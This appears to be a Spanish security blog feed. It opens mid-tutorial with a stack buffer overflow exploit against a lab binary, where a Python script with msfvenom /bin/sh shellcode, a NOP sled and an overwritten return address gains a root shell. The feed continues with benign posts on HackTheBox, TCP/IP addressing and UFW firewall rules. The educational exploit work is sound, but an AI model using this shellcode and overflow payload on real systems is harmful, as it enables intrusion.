<p>Así seria el contenido del archivo generado por nuestro <a target="_blank" href="http://EXPLOIT.PY">EXPLOIT.PY</a> hacia un archivo llamado exploit.<br />Ahí podemos ver la cantidad de los NOPs inundando el BUFFER y luego nuestra shellcode al final + los últimos 8 bytes de NOPs para sobrescribir RBP.</p>
<p>Volvemos a ejecutar el binario con gdb:</p>
<pre><code class="lang-bash">gdb-gef -q ./b0fMe
</code></pre>
<p>Ahora seteamos un breakpoint en main y luego ejecutamos nuestro exploit parcial:</p>
<pre><code class="lang-bash">b main 
r $(cat exploit)
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753912818990/ad6c82e5-0a9d-4269-853c-b4464626e1e7.png" alt class="image--center mx-auto" /></p>
<p>Para en nuestro breakpoint de MAIN. Ahora setearemos un breakpoint en el ultimo RET de la función vulnerable “myfunc”, justo antes de que se produzca el segmentation fault:</p>
<pre><code class="lang-bash">disassemble myfunc
b *0x000000000040119c
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753912838522/40505f54-61ce-4ef8-85b4-3cd45a8176d9.png" alt class="image--center mx-auto" /></p>
<p>Volvemos a apretar “c” para continuar la ejecución del binario y parara en nuestro breakpoint de “myfunc”:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753912849733/892a7af2-1177-4035-9c31-d2ba97bdbf3e.png" alt class="image--center mx-auto" /></p>
<p>Si hacemos un info register de RBP nos muestra lo siguiente:</p>
<pre><code class="lang-bash">i r rbp
rbp            0x9090909090909090  0x9090909090909090
</code></pre>
<p>Significa que logramos NOPear el RBP, y si ahora examinamos varias direcciones de memoria a partir de la direccion almacenada en el registro del stack pointer ($rsp) y lo mostramos en hexadecimal veremos lo siguiente:</p>
<pre><code class="lang-bash">x/180xg <span class="hljs-variable">$rsp</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753912874930/d1d3b651-ae1a-436d-8b8d-47455e65db6d.png" alt class="image--center mx-auto" /></p>
<p>Como vemos ahí están todos nuestros Nops inundando y nuestra shellcode.<br />Bien solo restaría setear alguna de esas direcciones donde están los NOps para que cuando ingrese a esa zona, aprovechemos el Nop-slide y fluya hasta ejecutar nuestra shellcode. Para este ejemplo elegiré la siguiente direccion y la pondré la seteo en el exploit: <code>0x7fffffffe8c8</code></p>
<p>Para setearla en el exploit tenemos que setearla del modo inverso ya que el CPU lo entiende en Little-Endian (mas adelante mostrare que hay formas con python con struct, y alternativas para ponerlas directamente, pero de momento la ponemos asi):</p>
<pre><code class="lang-bash">ret = b<span class="hljs-string">"\xc8\xe8\xff\xff\xff\x7f"</span>
</code></pre>
<p>Finalmente generamos nuestro payload y concatenamos todo lo que tenemos:</p>
<pre><code class="lang-bash">sys.stdout.buffer.write(nop+shellcode+rbp+rip)
</code></pre>
<h1 id="heading-final-exploit-exploitypyhttpexploitypy">Final Exploit: (<a target="_blank" href="http://exploity.py">exploity.py</a>)</h1>
<pre><code class="lang-bash">import sys

<span class="hljs-comment"># Shellcode -- /bin/sh @ msfvenom</span>
<span class="hljs-comment"># shkz </span>

shellcode = b<span class="hljs-string">"\x48\x31\xc9\x48\x81\xe9\xfd\xff\xff\xff\x48\x8d\x05\xef"</span>
shellcode += b<span class="hljs-string">"\xff\xff\xff\x48\xbb\xb5\xfb\xfb\x9b\xfe\x95\x0c\x70\x48"</span>
shellcode += b<span class="hljs-string">"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xfd\x43\xd4"</span>
shellcode += b<span class="hljs-string">"\xf9\x97\xfb\x23\x03\xdd\xfb\x62\xcb\xaa\xca\x5e\x2e\xdf"</span>
shellcode += b<span class="hljs-string">"\xc0\xa3\x94\xfb\x95\x0c\x70"</span>;

<span class="hljs-comment"># Set values</span>

nop = b<span class="hljs-string">"\x90"</span>*(256-len(shellcode))
rbp = b<span class="hljs-string">"\x90"</span>*8
ret = b<span class="hljs-string">"\xb8\xe8\xff\xff\xff\x7f"</span>

<span class="hljs-comment"># Crafting Pwned</span>

sys.stdout.buffer.write(nop+shellcode+rbp+ret)
</code></pre>
<ul>
<li><h4 id="heading-generamos-el-exploit">Generamos el exploit:</h4>
</li>
</ul>
<pre><code class="lang-bash">python3 exploit.py &gt;exploit
</code></pre>
<p>Y si lo ejecutamos:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753913008681/633e63bd-037e-444b-b4ae-101fbdab8489.png" alt class="image--center mx-auto" /></p>
<p><strong>Somos root</strong> 😀</p>
<p>Por ultimo, si analizamos el exploit en el gdb, repitiendo los pasos de antes, poniendo un breakpoint en Main y luego en el RET de myfunc:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753913018806/56998ee2-d3e0-40a2-873d-c982904567b5.webp" alt class="image--center mx-auto" /></p>
<p>Finalmente si examinamos el memory layout:</p>
<pre><code class="lang-bash">x/180xg <span class="hljs-variable">$rsp</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753913033040/daf689a0-d820-4063-8cd0-2392d01543e1.webp" alt class="image--center mx-auto" /></p>
<p>Hasta el próximo paper donde empezare a activar las protecciones.<br />Muchas gracias.</p>
<hr />
<h4 id="heading-references">References:</h4>
<blockquote>
<p><a target="_blank" href="http://ref.x86asm.net/coder64.html">http://ref.x86asm.net/coder64.html</a><br /><a target="_blank" href="https://en.wikipedia.org/wiki/Assembly_language">https://en.wikipedia.org/wiki/Assembly_language</a><br /><a target="_blank" href="https://valsmaras.medium.com/">https://valsmaras.medium.com/</a><br /><a target="_blank" href="https://www.amazon.co.uk/Hacking-Art-Exploitation-Jon-Erickson/dp/1593271441">https://www.amazon.co.uk/Hacking-Art-Exploitation-Jon-Erickson/dp/1593271441</a><br /><a target="_blank" href="https://eli.thegreenplace.net/2011/02/04/where-the-top-of-the-stack-is-on-x86/">https://eli.thegreenplace.net/2011/02/04/where-the-top-of-the-stack-is-on-x86/</a><br /><a target="_blank" href="https://en.wikipedia.org/wiki/NOP_slide">https://en.wikipedia.org/wiki/NOP_slide</a><br /><a target="_blank" href="https://es.wikipedia.org/wiki/Endianness">https://es.wikipedia.org/wiki/Endianness</a></p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[¿Que es HackTheBox y como ayuda a potenciarte?]]></title><description><![CDATA[Una mirada personal sobre cómo HackTheBox se convirtió en la herramienta ideal para practicar y mejorar habilidades de hacking en un entorno realista y accesible.
¿Que es HackTheBox y como ayuda a potenciar tus Hacking skills?
Recuerdo que desde muy ...]]></description><link>https://myhack.tech/que-es-hackthebox</link><guid isPermaLink="true">https://myhack.tech/que-es-hackthebox</guid><category><![CDATA[hacking]]></category><dc:creator><![CDATA[shkz]]></dc:creator><pubDate>Thu, 16 Jan 2025 03:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1753903660463/e17d30f6-288a-4566-ab31-1fe03c3560d6.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Una mirada personal sobre cómo HackTheBox se convirtió en la herramienta ideal para practicar y mejorar habilidades de hacking en un entorno realista y accesible.</p>
<h2 id="heading-que-es-hackthebox-y-como-ayuda-a-potenciar-tus-hacking-skills">¿Que es HackTheBox y como ayuda a potenciar tus Hacking skills?</h2>
<p>Recuerdo que desde muy chico cuando iniciaba en este mundo de los hackers y seguridad (y hablamos de mas de 20 años aprox), deseaba mucho que exista una plataforma como HackTheBox para medir mis niveles de conocimientos.</p>
<p>Antiguamente para poder practicar ciertos skills de hacking y entender como funcionaba no había otra forma que ‘atacar’ directamente a una pc, no estaba tan avanzada la tecnología de virtualizacion y menos aun el rendimiento que llevaba esto para el hardware de aquella época ni hablar de la economía para comprar dicho hardware.</p>
<p>Hoy al mismo tiempo que la tecnología avanza, también aparecen nuevas metodologías de enseñanzas que simplifican mucho la curva de aprendizaje y ahi es donde entra en juego HackTheBox (entre tantas otras claro, pero en este caso me enfoco en la mencionada).</p>
<h2 id="heading-que-es-la-plataforma-hackthebox"><strong>¿Que es la plataforma HackTheBox?</strong></h2>
<p>Es una plataforma online que esta diseñada para proporcionar un entorno seguro y controlado donde uno puede registrarse y automáticamente enfrentarse a desafíos de hacking. Sin hacerle daño a ninguno tercero. Por ende, siendo todo totalmente LEGAL.</p>
<p>HackTheBox cuenta con una amplia gama de maquinas virtuales las cuales son desarrolladas ya sea por integrantes del Staff o por participantes registrados que envían sus maquinas, previo chequeo general de la misma antes de ser aprobada y lanzada a la plataforma.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753903606671/255ef04f-a848-47a4-a89b-42cc3fb81250.png" alt /></p>
<p>El objetivo de estas maquinas virtuales las cuales están categorizadas con distintos tipos de dificultad, que van desde EASY hasta INSANE, ayudan a sumergirte en situaciones del mundo real y te desafían a encontrar y explotar vulnerabilidades para obtener acceso a los sistemas.</p>
<h2 id="heading-potenciando-tus-hacking-skills"><strong>Potenciando tus Hacking Skills.</strong></h2>
<p>Si le dedicas tiempo, esta plataforma te permite mejorar habilidades en distintos tipos de áreas, desde hacking, seguridad, explotación de vulnerabilidades, análisis forense, análisis de malware hasta ingeniería inversa, entre otras.</p>
<p>Uno de los aspectos a resaltar también es el enfoque constante que le ponen al Hacking Etico. HackTheBox promueve un código de conducta ético y legal, recordando siempre a los participantes que usen sus habilidades con responsabilidad y respeto por la privacidad y seguridad de los demás.</p>
<h2 id="heading-hackthebox-academy"><strong>HackTheBox Academy.</strong></h2>
<p>Por otro lado, cuenta con una plataforma educativa diseñada para proporcionar cursos y capacitación. Ofrece una variedad de modulos que cubren diferentes aspectos de la seguridad informática, desde fundamentos básicos hasta técnicas avanzadas. Los cursos de HackTheBox Academy están diseñados por expertos en la industria y ofrecen material de alta calidad con ejercicios prácticos para mejorar las habilidades de los estudiantes. La plataforma se enfoca en brindar una experiencia de aprendizaje práctica y realista, permitiendo a los estudiantes enfrentarse a desafíos reales y obtener retroalimentación inmediata.</p>
<h2 id="heading-modo-de-competencia-o-ranked"><strong>Modo de Competencia o Ranked.</strong></h2>
<p>A medida que vas superando los desafíos de <a target="_blank" href="http://HackTheBox.com">HackTheBox.com</a>, podes avanzar en los rangos dentro de la plataforma. Se empieza con un rango de Newbie o Novato y, a medida que vas resolviendo challenges o maquinas, vas adquiriendo puntos por resolverlos y con esos puntos que vas acumulando te permiten avanzar y ascender a rangos más altos. Este sistema de rangos motiva a los participantes a seguir aprendiendo y mejorando constantemente. Al menos en mi caso por culpa de mi “yo competitivo 😛”.</p>
]]></content:encoded></item><item><title><![CDATA[¿Como se comunican nuestras computadoras?]]></title><description><![CDATA[En nuestro día a día interactuamos con innumerables objetos y sistemas que nos rodean, desde dispositivos electrónicos hasta mecanismos un poco mas complejos. Ya de por si simplemente los usamos sin pensar en cómo operan o qué principios los hacen fu...]]></description><link>https://myhack.tech/como-se-comunican-nuestras-computadoras</link><guid isPermaLink="true">https://myhack.tech/como-se-comunican-nuestras-computadoras</guid><category><![CDATA[networking]]></category><dc:creator><![CDATA[shkz]]></dc:creator><pubDate>Thu, 16 Jan 2025 03:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1753904955915/f301468e-8807-4b6c-a0a7-3230e6e2f9ae.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>En nuestro día a día interactuamos con innumerables objetos y sistemas que nos rodean, desde dispositivos electrónicos hasta mecanismos un poco mas complejos. Ya de por si simplemente los usamos sin pensar en cómo operan o qué principios los hacen funcionar. Entender como funcionan las cosas nos permite desarrollar una mentalidad critica con la cual podremos evaluar y cuestionar los sistemas o dispositivos existentes.</p>
<h2 id="heading-la-comunicacion-de-nuestras-computadoras"><strong>La comunicacion de nuestras computadoras.</strong></h2>
<p>La comunicación entre computadoras es esencial para el funcionamiento de las redes ya sean locales o Internet. A través de distintos medios, las computadoras pueden intercambiar información, enviar y recibir datos permitiendo intercambiar mensajes en cuestiones de segundos. Veamos como llegamos a hacer todo esto.</p>
<p>Estas comunicaciones se permiten en principio por “Protocolos de Internet”.<br />Vamos a definirlo para poder comprender el resto.</p>
<h2 id="heading-que-es-un-protocolo-de-internet"><strong>¿Que es un Protocolo de Internet?.</strong></h2>
<p>Un protocolo de Internet es un conjunto de reglas y normas que define cómo deben comunicarse las computadoras en una red. Estas reglas establecen el formato y el orden de los mensajes transmitidos, así como los procedimientos para el envío, recepción y manejo de datos. Los protocolos de Internet garantizan que las computadoras puedan intercambiar información de manera coherente y confiable, permitiendo la conectividad en la red. Uno de los protocolos más conocidos y utilizados en Internet es el <strong>TCP/IP.</strong> -Transmission Control Protocol/Internet Protocol- lo cual en español seria (Protocolo de Control de Transmisión / Protocolo de Internet).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753904815704/a5279b7a-ac6d-4d76-9735-1b77b026daca.jpeg" alt /></p>
<h2 id="heading-origenes-del-protocolo-tcpip"><strong>Origenes del protocolo TCP/IP:</strong></h2>
<p>Bien, como dijimos las computadoras se comunican entre sí utilizando un protocolo común llamado TCP/IP, que en principio fue desarrollado en la década de 1970 para la red ARPANET.</p>
<p><em>(Arpanet o Advanced Research Projects Agency Network, una red de agencias de proyectos de investigación avanzada, construida en 1969, esta red fue creada en principio con fines militares por el departamento de Defensa de los EEUU y permitía conectar a universidades y academias entre si).</em></p>
<p>Hay que aclarar algo, y es que como mencionamos anteriormente TCP e IP son dos protocolos diferentes. El <strong>Internet Protocol (IP)</strong> se encarga de obtener la dirección a la que se envían los datos, mientras que <strong>TCP (Transmission Control Protocol)</strong> se encarga de la entrega de los datos una vez que se tiene la dirección IP.</p>
<p>Aunque podrían funcionar de modo separados, es común referirse a ellos como <strong>TCP/IP</strong> debido a que se usan en conjunto de manera habitual y no tendrían tanto sentido uno sin el otro.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753904828622/73c37d41-b634-4787-a530-65ffed5d9678.png" alt /></p>
<h2 id="heading-el-papel-importante-del-modelo-tcp-en-la-comunicacion"><strong>El papel importante del modelo TCP en la comunicación.</strong></h2>
<p>El modelo TCP/IP divide los datos en paquetes y los envía a través de cuatro capas distintas. Estas capas son atravesadas tanto en el envío como en la recepción de los datos, y se vuelven a juntar en el destino.</p>
<p>El proceso está estandarizado para garantizar una comunicación eficiente y predecible. El modelo TCP/IP es ampliamente utilizado y es una de las formas más eficientes de transferir datos por Internet.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753904853597/b1ee3fb0-b269-4394-a788-391694c0da92.jpeg" alt class="image--center mx-auto" /></p>
<h2 id="heading-las-cuatro-capas-del-modelo-son-las-siguientes">Las <strong>cuatro</strong> capas del modelo son las siguientes:</h2>
<ul>
<li><p><strong>Capa de Aplicación:</strong> Es la capa más alta del modelo TCP/IP y abarca las aplicaciones utilizadas por los usuarios para acceder a la red, como el correo electrónico, la mensajería instantánea y las aplicaciones web. Esta capa permite la interacción entre el usuario y la red.</p>
</li>
<li><p><strong>Capa de Transporte:</strong> Esta capa proporciona una conexión de datos confiable entre dos dispositivos de comunicación. Se divide en segmentos o datagramas, confirma los paquetes recibidos y asegura que la información se transmita de manera adecuada y sin errores.</p>
</li>
<li><p><strong>Capa de Internet:</strong> También llamada capa de red, se encarga del enrutamiento y control del flujo de datos para garantizar una transmisión eficiente y correcta. Esta capa también se encarga de volver a ensamblar los paquetes de datos en el destino.</p>
</li>
<li><p><strong>Capa de Acceso a la Red:</strong> También conocida como capa de enlace a los datos, se encarga de gestionar la infraestructura física que permite la comunicación entre dispositivos a través de Internet. Incluye elementos como cables Ethernet, redes inalámbricas y tarjetas de interfaz de red.</p>
</li>
</ul>
<h2 id="heading-que-es-y-como-esta-compuesta-una-direccion-ip"><strong>¿Que es y como esta compuesta una Dirección IP?.</strong></h2>
<p>La dirección IP la podemos imaginar de modo sencillo como el documento de identidad único de una persona. Del mismo modo pasa con nuestras computadoras o dispositivos en internet. Cada dispositivo conectado a internet, ya sea un celular, una pc, una tablet, o cualquier otro dispositivo, tiene asignada una dirección IP. Esta dirección permite la identificación y la comunicación de los dispositivos de una red.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753904888360/d29c00b4-806a-45e5-a544-683b51ca7e07.jpeg" alt class="image--center mx-auto" /></p>
<blockquote>
<p>Existen dos versiones principales de direcciones IP.</p>
</blockquote>
<ul>
<li><strong>IPv4 / IPv6.</strong></li>
</ul>
<h2 id="heading-ipv4"><strong>IPv4.</strong></h2>
<p>(Internet Protocol version 4) es un protocolo de dirección IP que se desarrolló en la década de 1980. Consiste en una cadena de cuatro números separados por puntos, que van del 0 al 255. Estas direcciones IP identifican de manera única a dispositivos en Internet.</p>
<p>IPv4 utiliza direcciones de 32 bits, lo que permite aproximadamente 4.3 mil millones de direcciones únicas. Estas direcciones se representan en cuatro grupos de números separados por puntos, como por ejemplo “192.168.0.1”. Sin embargo, debido al crecimiento exponencial de dispositivos conectados a Internet, el suministro de direcciones IPv4 ha llegado a su límite es por eso que se creo IPv6. El grado de transición a IPv6 aun es lento, y en la actualidad es ampliamente usado el IPv4.</p>
<h2 id="heading-ipv6"><strong>IPv6.</strong></h2>
<p>(Internet Protocol version 6) utiliza direcciones de 128 bits, lo que proporciona un espacio de direcciones mucho más amplio que IPv4. Con aproximadamente 340 undecillones (un número extremadamente grande) o <strong><em>340,282,366,920,938,463,463,374,607,431,768,211,456</em></strong> de nuevas direcciones posibles, IPv6 puede satisfacer la creciente demanda de dispositivos y conexiones a Internet.</p>
<p>Las direcciones IPv6 se representan en grupos de cuatro dígitos hexadecimales separados por dos puntos, como por ejemplo “2001:0db8:85a3:0000:0000:8a2e:0370:7334”. Además, IPv6 ofrece características avanzadas de seguridad, autoconfiguración de direcciones y soporte mejorado para servicios de calidad de servicio (QoS) y movilidad.</p>
<h2 id="heading-resumen"><strong>Resumen.</strong></h2>
<p>En resumen, el modelo TCP/IP y los protocolos asociados son la columna vertebral de Internet y las redes modernas. Su comprensión y conocimiento nos permiten aprovechar al máximo las ventajas de la comunicación global. Con el continuo avance tecnológico, la evolución de TCP/IP y la lenta pero gradual transición de IPv6 como comentamos arriba, podemos esperar un futuro aún más conectado y eficiente en el mundo de las comunicaciones en red.</p>
]]></content:encoded></item><item><title><![CDATA[UFW - Un firewall sin complicaciones]]></title><description><![CDATA[Lo primero. ¿Que es un Firewall?.
Un firewall es una barrera fundamental hoy en día en lo que respecta a seguridad, permite proteger sistemas informáticos controlando el flujo de datos entrantes y salientes desde y hacia una red. Básicamente es como ...]]></description><link>https://myhack.tech/ufw-un-firewall-sin-complicaciones</link><guid isPermaLink="true">https://myhack.tech/ufw-un-firewall-sin-complicaciones</guid><category><![CDATA[Security]]></category><category><![CDATA[firewall]]></category><dc:creator><![CDATA[shkz]]></dc:creator><pubDate>Thu, 16 Jan 2025 03:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1753906031064/1c35e91a-4861-465e-abfb-fa7b52dbeccb.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-lo-primero-que-es-un-firewall"><strong>Lo primero. ¿Que es un Firewall?.</strong></h2>
<p>Un firewall es una barrera fundamental hoy en día en lo que respecta a seguridad, permite proteger sistemas informáticos controlando el flujo de datos entrantes y salientes desde y hacia una red. Básicamente es como un seguridad en una puerta de una discoteca decidiendo quien entra y quien no.</p>
<p>Basandonos con este ejemplo a nivel informatico, imaginamos que nuestro Firewall es el filtro entre nuestra pc o red de casa y la internet. Cuando los paquetes se mueven atraves de la red tanto entrante como saliente hacia Internet, todos pasan por este filtro que en base a la configuracion que tenga (desde ahora las llamaremos ‘Reglas/Rules’, decidira si se aprueba o no el ingreso o egreso de los paquetes y que hacer en determinados casos con los mismos.</p>
<p>Como dije anteriormente es una parte esencial de la seguridad informatica, ya que nos permite prevenir y bloquear posibles ataques o intrusiones tanto externas como internas.</p>
<p>Volviendo a mi representacion de la discoteca, el seguridad de la misma seguramente tenga algunas reglas para su trabajo, como por ejemplo una de vestimenta para el ingreso. Que todos entren con algo blanco, y si alguien no cumple esa regla entonces no entra.</p>
<p>En sistemas informáticos, esas reglas se basan en direcciones IP, Puertos, Protocolos, datos necesarios para que las computadoras realicen conexiones y se comuniquen. Existen distintos tipos de Firewalls, tanto de software como físicos. En el caso de este articulo hablaremos del UFW un firewall de software.</p>
<h2 id="heading-ufw-breve-intro"><strong>UFW | Breve intro.</strong></h2>
<p>La sigla UFW viene de Uncomplicated Firewall, haciendo referencia a que su desarrollo fue exclusivamente para entregar una interfaz amistosa al usuario y facil de configurar. Este se debe a que en la mayoria de sistemas basados en Linux quien esta presente como firewall es IPTABLES. Aunque en muchos ya esta su sucesor NFTABLES.</p>
<p>Para muchos usuarios utilizar iptables les resulta complicado sobre todo si posee excasos conocimientos en sistemas o networking y aun mas si es nuevo en Linux.</p>
<p>Ya que las reglas en iptables toman su tiempo en aprenderse y configurar a los gustos de uno o su contexto de red.</p>
<p>Es por eso que los desarrolladores de Ubuntu crearon UFW que es un FrontEnd para iptables. En pocas palabras, mediante pocos comandos y fáciles de entender en UFW podemos configurar iptables y dejar un firewall corriendo a nuestro gusto muy rápido y bastante eficaz.</p>
<h2 id="heading-ufw-instalacion-y-configuracion">UFW | Instalacion y configuracion</h2>
<p>En este caso utilizo un sistema Arch. Pero UFW esta disponible principalmente en Ubuntu / Debian based y otras distros conocidas como Fedora, Centos OpenSUSE, Mint, no llevo un control de esto y quizas en algunas nuevas ya lo hayan incluido o quizas quitado de sus repositorios oficiales.</p>
<p>Si utilizas Arch y no se instaló por default:</p>
<pre><code class="lang-bash">sudo pacman -Syu ufw gufw
</code></pre>
<p>El paquete “gufw” es un entorno grafico para el ufw si no prefieren hacer las reglas por consola, si no quieren instalarlo pueden obviar de agregarlo a pacman, pero habia que mencionarlo.</p>
<p>Una vez que lo instalamos procedemos a hacer lo siguiente para que inicie el servicio de ufw y habilitarlo para que se ejecute automaticamente cada vez que el sistema arranca.</p>
<pre><code class="lang-bash">sudo systemctl start ufw
</code></pre>
<pre><code class="lang-bash">sudo systemctl <span class="hljs-built_in">enable</span> ufw
</code></pre>
<h2 id="heading-ufw-manipulando-reglas-en-el-firewall"><strong>UFW | Manipulando reglas en el Firewall.</strong></h2>
<h3 id="heading-agregando-reglas"><strong>— Agregando reglas</strong></h3>
<p>Para agregar reglas en el UFW lo podemos hacer facilmente de las siguientes dos maneras. Agregandolas por puerto o usando el nombre del servicio.</p>
<p>Veamos un ejemplo:</p>
<pre><code class="lang-bash">sudo ufw allow ssh
</code></pre>
<p>O tambien podriamos agregarla de este modo:</p>
<pre><code class="lang-bash">sudo ufw allow 22
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753906111647/5ce34025-4e22-425b-8e31-06bd2d170e8a.png" alt class="image--center mx-auto" /></p>
<p>Y si escribimos:</p>
<pre><code class="lang-bash">sudo ufw status
</code></pre>
<p>Veremos un listado de las reglas actuales y sus respectivas configuraciones.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753906132579/e2b537c2-e1c4-4cb0-93a3-0688cc82df1e.png" alt class="image--center mx-auto" /></p>
<p>Como vemos ahí esta nuestra regla para aceptar trafico al puerto 22.</p>
<h2 id="heading-agregando-reglas-por-puerto-y-protocolo">Agregando reglas por puerto y protocolo.</h2>
<p>Para ajustar un poco mas la regla, podemos especificar el protocolo. Quizas queramos que se acepte trafico del puerto 1500 TCP. Hariamos esto:</p>
<pre><code class="lang-bash">sudo ufw allow 1500/tcp
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753906156769/b894096b-c5c9-483d-813b-a3082636ee9c.png" alt class="image--center mx-auto" /></p>
<p>Como vemos la regla es agregada a la tabla tal cual la escribimos. Siguiendo el mismo caso si quisiera bloquear el mismo puerto pero UDP:</p>
<pre><code class="lang-bash">sudo ufw deny 1500/udp
</code></pre>
<p>Como resultado vemos que debajo del allow en TCP se agrego el DENY en UDP.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753906180277/6b6b18cd-e346-4211-8c5a-d0fdf32defc1.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-eliminando-reglas">Eliminando Reglas</h2>
<p>Para eliminar reglas el procedimiento es igual pero agregando la palabra delete sobre la regla de allow creada anteriormente, veamos:</p>
<pre><code class="lang-bash">sudo ufw delete allow 1500/tcp
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753906196129/cf71c8fb-9a01-4f8a-b762-f606aa02a639.png" alt class="image--center mx-auto" /></p>
<p>Como vemos se elimina la regla creada y se verifica con el comando status que ya no forman parte de la tabla.</p>
<h2 id="heading-reglas-mas-avanzadas-con-direcciones-de-ip">Reglas más avanzadas con direcciones de IP</h2>
<p>Con UFW podemos realizar reglas mas avanzadas que nos permitan especificar mas nuestro filtrado a ciertas acciones. Por ejemplo podemos bloquear direcciones IP independientes o multiples, subredes, y combinar varias de estas con puertos y protocolos.</p>
<p>Veamos.</p>
<h2 id="heading-bloqueando-una-determinada-ip">Bloqueando una determinada IP:</h2>
<pre><code class="lang-bash">sudo ufw deny from 192.168.0.222
</code></pre>
<h2 id="heading-bloqueando-una-determinada-subred">Bloqueando una determinada subred:</h2>
<pre><code class="lang-bash">sudo ufw deny from 192.168.0.68/24
</code></pre>
<p>Combinando lo que vimos.. Aceptaremos una conexion desde una determinada ip a un determinado puerto y protocolo.</p>
<pre><code class="lang-bash">sudo ufw allow from 192.168.0.222 to any port 443 proto tcp
</code></pre>
<h2 id="heading-habilitando-deshabilitando-el-firewall">Habilitando / Deshabilitando el Firewall.</h2>
<p>Podemos rapidamente habilitar o deshabilitar el firewall haciendo simplemente:</p>
<pre><code class="lang-bash">sudo ufw <span class="hljs-built_in">enable</span>
sudo ufw <span class="hljs-built_in">disable</span>
</code></pre>
<h2 id="heading-logueando-los-eventos">Logueando los eventos</h2>
<p>En UFW podemos tener control del logging en distintos niveles. Primero para habilitar el logueo hacemos lo siguiente:</p>
<pre><code class="lang-bash">sudo ufw logging on
</code></pre>
<p>Luego para determinar el nivel que queramos loguear vamos a elegir entre low, medium o high:</p>
<pre><code class="lang-bash">sudo ufw logging medium
</code></pre>
<h2 id="heading-entendiendo-los-logs">Entendiendo los Logs</h2>
<p>Dependiendo la distro en la que estes utilizandolo puede ser que los logs esten en <strong>/var/log/ufw.log</strong>. Si no los ves ahi proba con alguno de los siguiente comandos:</p>
<pre><code class="lang-bash">sudo dmesg –color=always | grep -v ufw

sudo journalctl -f
</code></pre>
<p>Siguiendo los ejemplos de reglas de antes, veamos un ejemplo cuando bloqueamos todo tipo de trafico entrante. Desde otro dispositivo voy a hacerle un escaneo de puertos:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753906318820/c4b873ae-81bf-4062-bdd1-d8b0370b7214.png" alt class="image--center mx-auto" /></p>
<p>Este seria un caso de un log de <strong>UFW</strong> en el cual detallare a continuación. Cada línea del log se divide en distintas etiquetas:</p>
<ul>
<li><p><code>UFW BLOCK | UFW ALLOW: Simplemente que se bloqueo o que se acepta el trafico</code></p>
</li>
<li><p><code>IN: Cuando el valor de este campo este completado como en el ejemplo, nos da a entender que fue ENTRANTE.</code></p>
</li>
<li><p><code>OUT: Al igual que el ejemplo de IN en este caso si tiene un valor significa que el evento resulto SALIENTE.</code></p>
</li>
<li><p><code>MAC: Es la combinacion de direcciones MAC de origen y destino.</code></p>
</li>
<li><p><code>SRC: Indica la direccion IP del origen del paquete.</code></p>
</li>
<li><p><code>DST: Muestra la direccion ip del destino del paquete, en este caso la de mi maquina virtual de prueba que recibe el ‘escaneo de puertos’.</code></p>
</li>
<li><p><code>LEN: Muestra la longitud del paquete.</code></p>
</li>
<li><p><code>TTL: Tiempo de vida del paquete..</code></p>
</li>
<li><p><code>PROTO: Muestra bajo que protocolo se utiliza la transmision del paquete.</code></p>
</li>
<li><p><code>SPT: Obtiene el puerto de origen del paquete.</code></p>
</li>
<li><p><code>DPT: Indica el puerto de destino.</code></p>
</li>
<li><p><code>WINDOW: Muestra el tamaño de la ventana de TCP</code></p>
</li>
<li><p><code>SYN URGP: En este campo muestra la bandera SYN indica la solicitud para realizar una conexión y el URGP=0 significa que la conexión no se estableció.</code></p>
</li>
</ul>
<p>Hasta acá el paper de UFW. Quizas vaya editandolo y completandolo mas. Pero creo que es suficiente de momento para empezar con una configuracion basica en UFW sin tantas complicaciones.</p>
]]></content:encoded></item><item><title><![CDATA[Tres complementos de reversing y exploiting para GDB.]]></title><description><![CDATA[GDB es una de las herramientas que más uso al momento de reversear binarios para CTF’s o realizar tareas de exploiting.
Para ser honesto hay una realidad a mi modo de ver y es que usarla a “secas”, es decir, de base.. sin ningún tipo de complemento a...]]></description><link>https://myhack.tech/tres-complementos-de-reversing-y-exploiting-para-gdb</link><guid isPermaLink="true">https://myhack.tech/tres-complementos-de-reversing-y-exploiting-para-gdb</guid><category><![CDATA[gdb]]></category><category><![CDATA[reverse engineering]]></category><dc:creator><![CDATA[shkz]]></dc:creator><pubDate>Thu, 16 Jan 2025 03:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1753906621802/86bdb431-bdf5-4852-9d4a-422ef2666253.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>GDB es una de las herramientas que más uso al momento de reversear binarios para CTF’s o realizar tareas de exploiting.</p>
